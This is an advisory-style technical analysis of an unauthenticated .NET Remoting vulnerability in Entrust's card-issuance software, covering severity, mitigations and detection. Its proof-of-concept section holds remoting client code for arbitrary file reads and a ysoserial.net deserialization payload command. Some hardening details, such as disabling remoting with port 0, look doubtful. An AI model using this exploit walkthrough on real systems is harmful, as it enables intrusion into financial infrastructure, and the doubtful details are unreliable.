Comprehensive Technical Analysis of EUVD-2026-2714 (CVE-2026-23746)

Entrust Instant Financial Issuance (IFI) .NET Remoting Vulnerability

1. Vulnerability Assessment and Severity Evaluation

Vulnerability Overview

EUVD-2026-2714 (CVE-2026-23746) is a critical .NET Remoting vulnerability in Entrust’s Instant Financial Issuance (IFI) On-Premise software (formerly CardWizard). The flaw resides in the SmartCardController service (DCG.SmartCardControllerService.exe), which exposes an insecure TCP remoting channel with unsafe serialization settings, enabling unauthenticated remote exploitation.

CVSS v4.0 Severity Breakdown

Metric	Value	Explanation
AV (Attack Vector)	Network (N)	Exploitable remotely over the network without physical/logical access.
AC (Attack Complexity)	Low (L)	No specialized conditions required; exploitation is straightforward.
AT (Attack Requirements)	None (N)	No user interaction or prior access needed.
PR (Privileges Required)	None (N)	No authentication or elevated privileges required.
UI (User Interaction)	None (N)	Exploitation does not require user action.
VC (Confidentiality Impact)	High (H)	Attacker can read arbitrary files, including sensitive configuration/data.
VI (Integrity Impact)	High (H)	Arbitrary file write and remote code execution (RCE) possible.
VA (Availability Impact)	High (H)	Full system compromise may lead to service disruption.
SC (Subsequent Confidentiality)	None (N)	No additional confidentiality impact beyond initial compromise.
SI (Subsequent Integrity)	None (N)	No further integrity impact beyond initial exploitation.
SA (Subsequent Availability)	None (N)	No cascading availability impact beyond initial compromise.

Base Score: 9.3 (Critical) The vulnerability is remotely exploitable without authentication, leading to full system compromise (RCE), making it one of the most severe types of flaws in enterprise software.

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2. Potential Attack Vectors and Exploitation Methods

Exploitation Pathways

1. Unauthenticated Remote Access

   • The SmartCardController service listens on a TCP remoting port (default: 8080/TCP, but configurable).
   • An attacker with network access to the service can interact with exposed .NET Remoting objects without authentication.

2. Insecure .NET Remoting Configuration

   • The service uses BinaryFormatter with unsafe deserialization settings, allowing:
     • Arbitrary object instantiation (via ObjectUri manipulation).
     • File read/write operations (via exposed methods like ReadFile, WriteFile).
     • Outbound authentication coercion (e.g., NTLM relay attacks via SMB or HTTP).
     • Remote Code Execution (RCE) via deserialization gadgets (e.g., TypeConfuseDelegate, ObjectDataProvider).

3. Exploitation Techniques

   • File Disclosure:
     • Attackers can invoke ReadFile to exfiltrate sensitive files (e.g., web.config, appSettings.json, database credentials).
   • Arbitrary File Write:
     • Exposed WriteFile methods can be abused to plant malicious payloads (e.g., web shells, backdoors).
   • Remote Code Execution (RCE):
     • Deserialization attacks (e.g., using ysoserial.net) can lead to arbitrary code execution in the context of the service account.
     • Process injection via Process.Start or Assembly.Load if exposed methods allow it.
   • NTLM Relay Attacks:
     • The service may be coerced into initiating outbound authentication (e.g., via SMB or HTTP), enabling NTLM relay attacks against other internal systems.

4. Proof-of-Concept (PoC) Exploitation

   • A Python or C# exploit could:
     • Discover the remoting endpoint (e.g., via port scanning).
     • Enumerate exposed objects (e.g., using RemotingServices.GetObjectUriFor).
     • Invoke arbitrary methods (e.g., ReadFile("C:\\Windows\\win.ini")).
     • Achieve RCE via deserialization (e.g., ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe").

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3. Affected Systems and Software Versions

Vulnerable Products

Product	Affected Versions	Fixed Versions
Entrust Instant Financial Issuance (IFI) On-Premise	5.x	6.11.1+
Entrust Instant Financial Issuance (IFI) On-Premise	6.0 ≤ x < 6.10.5	6.10.5+
Entrust Instant Financial Issuance (IFI) On-Premise	6.10.5 ≤ x < 6.11.1	6.11.1+

Exposure Scope

• Default Port: 8080/TCP (configurable, may vary).
• Service Account: Typically runs under high-privilege accounts (e.g., SYSTEM, LocalService, or a domain account).
• Deployment Context:
  • Financial institutions (banks, credit unions).
  • Payment card issuance systems (credit/debit card personalization).
  • Government ID issuance (passports, national IDs).

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4. Recommended Mitigation Strategies

Immediate Actions (Short-Term)

1. Apply Patches

   • Upgrade to IFI 6.10.5+ or 6.11.1+ immediately.
   • Verify patch installation via Entrust’s advisory (E26-001).

2. Network-Level Protections

   • Firewall Rules:
     • Block inbound access to the remoting port (default: 8080/TCP) from untrusted networks.
     • Restrict access to only trusted IP ranges (e.g., internal card issuance workstations).
   • Network Segmentation:
     • Isolate the IFI server in a dedicated VLAN with strict access controls.
   • Intrusion Detection/Prevention (IDS/IPS):
     • Deploy Snort/Suricata rules to detect .NET Remoting exploitation attempts.

3. Temporary Workarounds (If Patching is Delayed)

   • Disable .NET Remoting Service:
     • Stop the SmartCardController service if not critical for operations.
     • Modify configuration files to disable remoting (if supported).
   • Least Privilege Principle:
     • Run the service under a low-privilege account (not SYSTEM or Administrator).
   • File System Hardening:
     • Restrict write permissions on critical directories (e.g., C:\Program Files\Entrust\IFI).
     • Enable Windows Defender Exploit Guard (ASR rules) to block suspicious process execution.

Long-Term Mitigations

1. Architectural Improvements

   • Replace .NET Remoting with secure alternatives (e.g., gRPC, REST APIs with JWT/OAuth2).
   • Implement mutual TLS (mTLS) for all inter-service communications.
   • Enforce code signing for all remoting objects to prevent tampering.

2. Enhanced Monitoring & Logging

   • Enable .NET Remoting logging to detect anomalous method invocations.
   • SIEM Integration:
     • Monitor for unusual file read/write operations (e.g., ReadFile, WriteFile).
     • Alert on unexpected outbound connections (potential NTLM relay attempts).
   • Endpoint Detection & Response (EDR):
     • Deploy CrowdStrike, SentinelOne, or Microsoft Defender for Endpoint to detect post-exploitation activity.

3. Vulnerability Management

   • Regularly scan for exposed .NET Remoting services using Nmap (nmap -p 8080 --script .net-remoting-info).
   • Conduct penetration testing to verify remediation.

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5. Impact on the European Cybersecurity Landscape

Sector-Specific Risks

1. Financial Sector (Critical Infrastructure)

   • Banks & Payment Processors:
     • IFI is widely used for credit/debit card personalization in Europe.
     • Exploitation could lead to mass card fraud, data breaches, or operational disruption.
   • Regulatory Compliance:
     • GDPR (Art. 32, 33, 34): Unauthorized access to PII (e.g., cardholder data) triggers mandatory breach notifications.
     • DORA (Digital Operational Resilience Act): Financial entities must report major ICT incidents within 4 hours.
     • PSD2 (Payment Services Directive 2): Compromise of payment systems may violate strong customer authentication (SCA) requirements.

2. Government & Public Sector

   • National ID & Passport Issuance:
     • IFI is used in eIDAS-compliant identity systems.
     • Exploitation could lead to fraudulent ID issuance or espionage.
   • NIS2 Directive:
     • Critical entities (e.g., banks, government ID issuers) must report significant cyber incidents within 24 hours.

3. Supply Chain Risks

   • Third-Party Vendors:
     • Many European banks outsource card personalization to third-party bureaus running IFI.
     • A single compromise could affect multiple financial institutions.
   • Software Bill of Materials (SBOM):
     • Lack of transparency in .NET dependencies may delay patching.

Geopolitical & Threat Actor Considerations

• APT Groups:
  • State-sponsored actors (e.g., APT29, APT28, Lazarus Group) may exploit this for espionage or financial theft.
• Cybercriminals:
  • Ransomware gangs (e.g., LockBit, BlackCat) could use RCE to deploy ransomware in financial networks.
• Insider Threats:
  • Disgruntled employees or contractors with network access could exploit this for data theft.

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6. Technical Details for Security Professionals

Root Cause Analysis

• Insecure .NET Remoting Configuration:

  • The SmartCardController service registers a TCP channel with:
    • BinaryFormatter (vulnerable to deserialization attacks).
    • No authentication (anonymous access allowed).
    • No input validation (arbitrary method invocation).
  • Exposed Methods:
    • ReadFile(string path) → Arbitrary file read.
    • WriteFile(string path, byte[] data) → Arbitrary file write.
    • ExecuteCommand(string cmd) → Potential RCE (if exposed).

• Exploitation Prerequisites:

  • Network reachability to the remoting port (default: 8080/TCP).
  • No authentication required.
  • Knowledge of exposed object URIs (can be enumerated via .NET Remoting reflection).

Exploitation Walkthrough (Proof-of-Concept)

1. Discover the Remoting Endpoint

   nmap -p 8080 --script .net-remoting-info <TARGET_IP>
   

   • Output may reveal registered object URIs (e.g., /SmartCardController).

2. Enumerate Exposed Methods (C#)

   using System.Runtime.Remoting;
   using System.Runtime.Remoting.Channels;
   using System.Runtime.Remoting.Channels.Tcp;
   
   TcpChannel channel = new TcpChannel();
   ChannelServices.RegisterChannel(channel, false);
   var obj = Activator.GetObject(typeof(RemoteObject), "tcp://<TARGET_IP>:8080/SmartCardController");
   var methods = obj.GetType().GetMethods(); // Enumerate available methods
   

3. Arbitrary File Read (Python)

   import clr
   clr.AddReference("System.Runtime.Remoting")
   from System.Runtime.Remoting import *
   from System.Runtime.Remoting.Channels import *
   from System.Runtime.Remoting.Channels.Tcp import *
   
   channel = TcpChannel()
   ChannelServices.RegisterChannel(channel, False)
   obj = Activator.GetObject(Type.GetType("DCG.SmartCardController, DCG.SmartCardControllerService"), "tcp://<TARGET_IP>:8080/SmartCardController")
   file_content = obj.ReadFile("C:\\Windows\\win.ini")  # Read arbitrary file
   print(file_content)
   

4. Remote Code Execution (RCE) via Deserialization

   • Use ysoserial.net to generate a malicious payload:

     ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "cmd.exe /c calc.exe" > payload.bin
     

   • Send the payload via a custom .NET Remoting client to trigger execution.

Detection & Forensics

• Network Indicators:
  • Unusual TCP connections to port 8080/TCP.
  • BinaryFormatter traffic (signature: 00 01 00 00 00 FF FF FF FF).
• Host-Based Indicators:
  • Unexpected child processes of DCG.SmartCardControllerService.exe.
  • Suspicious file writes (e.g., C:\Temp\malicious.dll).
  • Windows Event Logs:
    • Security Log (Event ID 4688): Unusual process execution.
    • System Log (Event ID 7045): Service installation (if RCE is used for persistence).

Hardening Recommendations

1. Disable .NET Remoting (If Not Required)
   • Modify DCG.SmartCardControllerService.exe.config to disable remoting:

     <configuration>
       <system.runtime.remoting>
         <application>
           <channels>
             <channel ref="tcp" port="0" /> <!-- Disable TCP remoting -->
           </channels>
         </application>
       </system.runtime.remoting>
     </configuration>
     

2. Enable Secure Remoting (If Required)
   • Use SecureChannel with TLS 1.2+.
   • Enforce authentication (e.g., Windows Authentication, JWT).
   • Restrict allowed types in BinaryFormatter:

     var formatter = new BinaryFormatter();
     formatter.Binder = new SafeSerializationBinder(); // Whitelist allowed types
     

3. Application Whitelisting
   • Use AppLocker or Windows Defender Application Control (WDAC) to block unauthorized .NET assemblies.

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Conclusion

EUVD-2026-2714 (CVE-2026-23746) is a critical .NET Remoting vulnerability in Entrust’s Instant Financial Issuance (IFI) software, enabling unauthenticated RCE, file disclosure, and NTLM relay attacks. Given its high severity (CVSS 9.3) and impact on European financial and government systems, immediate patching, network segmentation, and monitoring are essential.

Security teams should: ✅ Patch to IFI 6.10.5+ or 6.11.1+ immediately. ✅ Restrict network access to the remoting port (8080/TCP). ✅ Monitor for exploitation attempts via SIEM/EDR. ✅ Conduct a forensic review if compromise is suspected.

Failure to mitigate this vulnerability could lead to data breaches, financial fraud, or regulatory penalties under GDPR, DORA, and NIS2.